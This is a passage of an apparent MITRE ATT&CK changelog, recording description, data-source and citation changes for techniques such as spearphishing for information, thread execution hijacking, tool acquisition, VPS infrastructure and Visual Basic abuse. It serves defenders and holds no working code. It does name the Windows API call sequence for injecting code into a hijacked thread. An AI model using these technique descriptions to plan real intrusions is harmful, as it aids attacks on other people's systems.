| description | Before compromising a victim, adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. | Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:42:26.314000+00:00 | 2021-04-26 15:41:39.612000+00:00 |
| x_mitre_data_sources[0] | Binary file metadata | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[1] | File monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[3] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[4] | API monitoring | File: File Metadata |
| x_mitre_data_sources[5] | Application logs | File: File Modification |
| x_mitre_data_sources[6] | DLL monitoring | Module: Module Load |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Loaded DLLs | |
| x_mitre_data_sources | Windows Registry | |
| x_mitre_data_sources | Windows event logs |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Web proxy', 'File monitoring'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-13 12:38:32.426000+00:00 | 2021-01-06 19:32:28.382000+00:00 |
| external_references[9]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-15 00:55:33.136000+00:00 | 2021-04-24 13:13:49.594000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Script: Script Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | Process: OS API Execution |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into hijacked processe | t | 1 | Adversaries may inject malicious code into hijacked processe |
| > | s in order to evade process-based defenses as well as possib | > | s in order to evade process-based defenses as well as possib | ||
| > | ly elevate privileges. Thread Execution Hijacking is a metho | > | ly elevate privileges. Thread Execution Hijacking is a metho | ||
| > | d of executing arbitrary code in the address space of a sepa | > | d of executing arbitrary code in the address space of a sepa | ||
| > | rate live process. Thread Execution Hijacking is commonly | > | rate live process. Thread Execution Hijacking is commonly | ||
| > | performed by suspending an existing process then unmapping/h | > | performed by suspending an existing process then unmapping/h | ||
| > | ollowing its memory, which can then be replaced with malicio | > | ollowing its memory, which can then be replaced with malicio | ||
| > | us code or the path to a DLL. A handle to an existing victim | > | us code or the path to a DLL. A handle to an existing victim | ||
| > | process is first created with native Windows API calls such | > | process is first created with native Windows API calls such | ||
| > | as <code>OpenThread</code>. At this point the process can b | > | as <code>OpenThread</code>. At this point the process can b | ||
| > | e suspended then written to, realigned to the injected code, | > | e suspended then written to, realigned to the injected code, | ||
| > | and resumed via <code>SuspendThread </code>, <code>VirtualA | > | and resumed via <code>SuspendThread </code>, <code>VirtualA | ||
| > | llocEx</code>, <code>WriteProcessMemory</code>, <code>SetThr | > | llocEx</code>, <code>WriteProcessMemory</code>, <code>SetThr | ||
| > | eadContext</code>, then <code>ResumeThread</code> respective | > | eadContext</code>, then <code>ResumeThread</code> respective | ||
| > | ly.(Citation: Endgame Process Injection July 2017) This is | > | ly.(Citation: Elastic Process Injection July 2017) This is | ||
| > | very similar to [Process Hollowing](https://attack.mitre.org | > | very similar to [Process Hollowing](https://attack.mitre.org | ||
| > | /techniques/T1055/012) but targets an existing process rathe | > | /techniques/T1055/012) but targets an existing process rathe | ||
| > | r than creating a process in a suspended state. Running c | > | r than creating a process in a suspended state. Running c | ||
| > | ode in the context of another process may allow access to th | > | ode in the context of another process may allow access to th | ||
| > | e process's memory, system/network resources, and possibly e | > | e process's memory, system/network resources, and possibly e | ||
| > | levated privileges. Execution via Thread Execution Hijacking | > | levated privileges. Execution via Thread Execution Hijacking | ||
| > | may also evade detection from security products since the e | > | may also evade detection from security products since the e | ||
| > | xecution is masked under a legitimate process. | > | xecution is masked under a legitimate process. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:21:29.233000+00:00 | 2020-11-10 18:29:30.941000+00:00 |
| description | Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.
Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Endgame Process Injection July 2017)
This is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state.
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.
Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)
This is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state.
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. |
| external_references[1]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | API monitoring | Process: Process Access |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:23:30.093000+00:00 | 2020-11-10 18:29:30.984000+00:00 |
| external_references[2]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | API monitoring | Process: Process Access |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search private | t | 1 | Adversaries may search private data from threat intelligence |
| > | data from threat intelligence vendors for information that | > | vendors for information that can be used during targeting. | ||
| > | can be used during targeting. Threat intelligence vendors ma | > | Threat intelligence vendors may offer paid feeds or portals | ||
| > | y offer paid feeds or portals that offer more data than what | > | that offer more data than what is publicly reported. Althoug | ||
| > | is publicly reported. Although sensitive details (such as c | > | h sensitive details (such as customer names and other identi | ||
| > | ustomer names and other identifiers) may be redacted, this i | > | fiers) may be redacted, this information may contain trends | ||
| > | nformation may contain trends regarding breaches such as tar | > | regarding breaches such as target industries, attribution cl | ||
| > | get industries, attribution claims, and successful TTPs/coun | > | aims, and successful TTPs/countermeasures.(Citation: D3Secut | ||
| > | termeasures.(Citation: D3Secutrity CTI Feeds) Adversaries m | > | rity CTI Feeds) Adversaries may search in private threat in | ||
| > | ay search in private threat intelligence vendor data to gath | > | telligence vendor data to gather actionable information. Thr | ||
| > | er actionable information. Threat actors may seek informatio | > | eat actors may seek information/indicators gathered about th | ||
| > | n/indicators gathered about their own campaigns, as well as | > | eir own campaigns, as well as those conducted by other adver | ||
| > | those conducted by other adversaries that may align with the | > | saries that may align with their target industries, capabili | ||
| > | ir target industries, capabilities/objectives, or other oper | > | ties/objectives, or other operational concerns. Information | ||
| > | ational concerns. Information reported by vendors may also r | > | reported by vendors may also reveal opportunities other form | ||
| > | eveal opportunities other forms of reconnaissance (ex: [Sear | > | s of reconnaissance (ex: [Search Open Websites/Domains](http | ||
| > | ch Open Websites/Domains](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1593)), establishing operat | ||
| > | s/T1593)), establishing operational resources (ex: [Develop | > | ional resources (ex: [Develop Capabilities](https://attack.m | ||
| > | Capabilities](https://attack.mitre.org/techniques/T1587) or | > | itre.org/techniques/T1587) or [Obtain Capabilities](https:// | ||
| > | [Obtain Capabilities](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1588)), and/or initial access ( | ||
| > | 588)), and/or initial access (ex: [Exploit Public-Facing App | > | ex: [Exploit Public-Facing Application](https://attack.mitre | ||
| > | lication](https://attack.mitre.org/techniques/T1190) or [Ext | > | .org/techniques/T1190) or [External Remote Services](https:/ | ||
| > | ernal Remote Services](https://attack.mitre.org/techniques/T | > | /attack.mitre.org/techniques/T1133)). | ||
| > | 1133)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:15:53.678000+00:00 | 2021-04-15 03:45:30.862000+00:00 |
| description | Before compromising a victim, adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds) Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds) Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy, steal, or | t | 1 | Adversaries may buy, steal, or download software tools that |
| > | download software tools that can be used during targeting. | > | can be used during targeting. Tools can be open or closed so | ||
| > | Tools can be open or closed source, free or commercial. A to | > | urce, free or commercial. A tool can be used for malicious p | ||
| > | ol can be used for malicious purposes by an adversary, but ( | > | urposes by an adversary, but (unlike malware) were not inten | ||
| > | unlike malware) were not intended to be used for those purpo | > | ded to be used for those purposes (ex: [PsExec](https://atta | ||
| > | ses (ex: [PsExec](https://attack.mitre.org/software/S0029)). | > | ck.mitre.org/software/S0029)). Tool acquisition can involve | ||
| > | Tool acquisition can involve the procurement of commercial | > | the procurement of commercial software licenses, including f | ||
| > | software licenses, including for red teaming tools such as [ | > | or red teaming tools such as [Cobalt Strike](https://attack. | ||
| > | Cobalt Strike](https://attack.mitre.org/software/S0154). Com | > | mitre.org/software/S0154). Commercial software may be obtain | ||
| > | mercial software may be obtained through purchase, stealing | > | ed through purchase, stealing licenses (or licensed copies o | ||
| > | licenses (or licensed copies of the software), or cracking t | > | f the software), or cracking trial versions.(Citation: Recor | ||
| > | rial versions.(Citation: Recorded Future Beacon 2019) Adver | > | ded Future Beacon 2019) Adversaries may obtain tools to sup | ||
| > | saries may obtain tools to support their operations, includi | > | port their operations, including to support execution of pos | ||
| > | ng to support execution of post-compromise behaviors. In add | > | t-compromise behaviors. In addition to freely downloading or | ||
| > | ition to freely downloading or purchasing software, adversar | > | purchasing software, adversaries may steal software and/or | ||
| > | ies may steal software and/or software licenses from third-p | > | software licenses from third-party entities (including other | ||
| > | arty entities (including other adversaries). | > | adversaries). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-20 14:46:37.477000+00:00 | 2021-04-15 03:15:20.491000+00:00 |
| description | Before compromising a victim, adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019) Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). | Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019) Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:43:41.298000+00:00 | 2021-03-05 22:25:49.118000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may rent Virtual P | t | 1 | Adversaries may rent Virtual Private Servers (VPSs) that can |
| > | rivate Servers (VPSs) that can be used during targeting. The | > | be used during targeting. There exist a variety of cloud se | ||
| > | re exist a variety of cloud service providers that will sell | > | rvice providers that will sell virtual machines/containers a | ||
| > | virtual machines/containers as a service. By utilizing a VP | > | s a service. By utilizing a VPS, adversaries can make it dif | ||
| > | S, adversaries can make it difficult to physically tie back | > | ficult to physically tie back operations to them. The use of | ||
| > | operations to them. The use of cloud infrastructure can also | > | cloud infrastructure can also make it easier for adversarie | ||
| > | make it easier for adversaries to rapidly provision, modify | > | s to rapidly provision, modify, and shut down their infrastr | ||
| > | , and shut down their infrastructure. Acquiring a VPS for u | > | ucture. Acquiring a VPS for use in later stages of the adve | ||
| > | se in later stages of the adversary lifecycle, such as Comma | > | rsary lifecycle, such as Command and Control, can allow adve | ||
| > | nd and Control, can allow adversaries to benefit from the ub | > | rsaries to benefit from the ubiquity and trust associated wi | ||
| > | iquity and trust associated with higher reputation cloud ser | > | th higher reputation cloud service providers. Adversaries ma | ||
| > | vice providers. Adversaries may also acquire infrastructure | > | y also acquire infrastructure from VPS service providers tha | ||
| > | from VPS service providers that are known for renting VPSs w | > | t are known for renting VPSs with minimal registration infor | ||
| > | ith minimal registration information, allowing for more anon | > | mation, allowing for more anonymous acquisitions of infrastr | ||
| > | ymous acquisitions of infrastructure.(Citation: TrendmicroHi | > | ucture.(Citation: TrendmicroHideoutsLease) | ||
| > | deoutsLease) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 17:58:32.476000+00:00 | 2021-04-15 02:52:41.901000+00:00 |
| description | Before compromising a victim, adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure. Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease) | Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure. Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise thi | t | 1 | Adversaries may compromise third-party Virtual Private Serve |
| > | rd-party Virtual Private Servers (VPSs) that can be used dur | > | rs (VPSs) that can be used during targeting. There exist a v | ||
| > | ing targeting. There exist a variety of cloud service provid | > | ariety of cloud service providers that will sell virtual mac | ||
| > | ers that will sell virtual machines/containers as a service. | > | hines/containers as a service. Adversaries may compromise VP | ||
| > | Adversaries may compromise VPSs purchased by third-party en | > | Ss purchased by third-party entities. By compromising a VPS | ||
| > | tities. By compromising a VPS to use as infrastructure, adve | > | to use as infrastructure, adversaries can make it difficult | ||
| > | rsaries can make it difficult to physically tie back operati | > | to physically tie back operations to themselves.(Citation: N | ||
| > | ons to themselves.(Citation: NSA NCSC Turla OilRig) Comprom | > | SA NCSC Turla OilRig) Compromising a VPS for use in later s | ||
| > | ising a VPS for use in later stages of the adversary lifecyc | > | tages of the adversary lifecycle, such as Command and Contro | ||
| > | le, such as Command and Control, can allow adversaries to be | > | l, can allow adversaries to benefit from the ubiquity and tr | ||
| > | nefit from the ubiquity and trust associated with higher rep | > | ust associated with higher reputation cloud service provider | ||
| > | utation cloud service providers as well as that added by the | > | s as well as that added by the compromised third-party. | ||
| > | compromised third-party. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:01:45.792000+00:00 | 2021-04-15 03:03:59.919000+00:00 |
| description | Before compromising a victim, adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig) Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party. | Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig) Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party. |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 16:32:02.272000+00:00 | 2021-04-21 15:16:10.835000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: OS API Execution |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Visual Basic (VB) for execution. VB is | t | 1 | Adversaries may abuse Visual Basic (VB) for execution. VB is |
| > | a programming language created by Microsoft with interopera | > | a programming language created by Microsoft with interopera | ||
| > | bility with many Windows technologies such as [Component Obj | > | bility with many Windows technologies such as [Component Obj | ||
| > | ect Model](https://attack.mitre.org/techniques/T1559/001) an | > | ect Model](https://attack.mitre.org/techniques/T1559/001) an | ||
| > | d the [Native API](https://attack.mitre.org/techniques/T1106 | > | d the [Native API](https://attack.mitre.org/techniques/T1106 | ||
| > | ) through the Windows API. Although tagged as legacy with no | > | ) through the Windows API. Although tagged as legacy with no | ||
| > | planned future evolutions, VB is integrated and supported i | > | planned future evolutions, VB is integrated and supported i | ||
| > | n the .NET Framework and cross-platform .NET Core.(Citation: | > | n the .NET Framework and cross-platform .NET Core.(Citation: | ||
| > | VB .NET Mar 2020)(Citation: VB Microsoft) Derivative langu | > | VB .NET Mar 2020)(Citation: VB Microsoft) Derivative langu | ||
| > | ages based on VB have also been created, such as Visual Basi | > | ages based on VB have also been created, such as Visual Basi | ||
| > | c for Applications (VBA) and VBScript. VBA is an event-drive | > | c for Applications (VBA) and VBScript. VBA is an event-drive | ||
| > | n programming language built into Microsoft Office, as well | > | n programming language built into Microsoft Office, as well | ||
| > | as several third-party applications.(Citation: Microsoft VBA | > | as several third-party applications.(Citation: Microsoft VBA | ||
| > | )(Citation: Wikipedia VBA) VBA enables documents to contain | > | )(Citation: Wikipedia VBA) VBA enables documents to contain | ||
| > | macros used to automate the execution of tasks and other fun | > | macros used to automate the execution of tasks and other fun | ||
| > | ctionality on the host. VBScript is a default scripting lang | > | ctionality on the host. VBScript is a default scripting lang | ||
| > | uage on Windows hosts and can also be used in place of [Java | > | uage on Windows hosts and can also be used in place of [Java | ||
| > | Script/JScript](https://attack.mitre.org/techniques/T1059/00 | > | Script](https://attack.mitre.org/techniques/T1059/007) on HT | ||
| > | 7) on HTML Application (HTA) webpages served to Internet Exp | > | ML Application (HTA) webpages served to Internet Explorer (t | ||
| > | lorer (though most modern browsers do not come with VBScript | > | hough most modern browsers do not come with VBScript support | ||
| > | support).(Citation: Microsoft VBScript) Adversaries may us | > | ).(Citation: Microsoft VBScript) Adversaries may use VB pay | ||
| > | e VB payloads to execute malicious commands. Common maliciou | > | loads to execute malicious commands. Common malicious usage | ||
| > | s usage includes automating execution of behaviors with VBSc | > | includes automating execution of behaviors with VBScript or | ||
| > | ript or embedding VBA content into [Spearphishing Attachment | > | embedding VBA content into [Spearphishing Attachment](https: | ||
| > | ](https://attack.mitre.org/techniques/T1566/001) payloads. | > | //attack.mitre.org/techniques/T1566/001) payloads. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| description | Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft) Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript/JScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript) Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads. | Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft) Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript) Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads. |
| x_mitre_data_sources[0] | DLL monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Loaded DLLs | Process: Process Creation |
| x_mitre_data_sources[2] | File monitoring | Module: Module Load |
| x_mitre_data_sources[3] | Process monitoring | Script: Script Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may acquire inform | t | 1 | Adversaries may acquire information about vulnerabilities th |
| > | ation about vulnerabilities that can be used during targetin | > | at can be used during targeting. A vulnerability is a weakne | ||
| > | g. A vulnerability is a weakness in computer hardware or sof | > | ss in computer hardware or software that can, potentially, b | ||
